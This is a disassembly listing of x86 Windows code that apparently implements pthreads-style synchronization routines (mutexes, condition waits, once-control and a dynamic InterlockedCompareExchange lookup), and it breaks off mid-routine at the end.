retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 276060Fh test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EAA9E890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 27705EDh test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 276060Fh test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E971E890h dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 call near ptr 77C1F2BCh nop mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 nop call near ptr 27708E7h push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j call near ptr 27708E7h nop test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi nop call near ptr 27708E7h mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 27705EDh test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 27708E7h test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 4BE89056h, 0E8023FDFh, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 27705EDh test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 2830386h loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27E0948h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103AC, eax nop call near ptr 28A038Ch test eax, eax mov dword_5103C8, eax jnz short loc_4325BD mov eax, dword_5103AC mov dword_5103C8, offset sub_4012D0 push eax call near ptr 2750665h nop mov dword_5103AC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103B0 test eax, eax jz short loc_432640 mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 53E89052h, 0E80231DDh dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 231E025h ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103B0 test eax, eax jz short loc_4326CB mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 0DCB4E852h ; --------------------------------------------------------------------------- xor [edx], eax nop loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_510980 xor esi, esi call near ptr 7C901005h nop mov eax, dword_5103BC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103B0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103B4 mov dword_5103B0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103B8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108C0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510900 call esi push offset dword_510960 call esi push offset dword_510940 call esi mov eax, dword_5103B0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103B0 test eax, eax jz locret_432909 mov eax, dword_5103B4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103B4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103B8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103B8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov eax, dword_447700 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108C0 call near ptr 7C9010EDh nop mov esi, dword_511864 push offset dword_510940 call esi push offset dword_510960 call esi push offset dword_510900 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5108C0 call esi mov dword_5103B0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_5103B4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi call near ptr 77C2C21Bh nop mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; 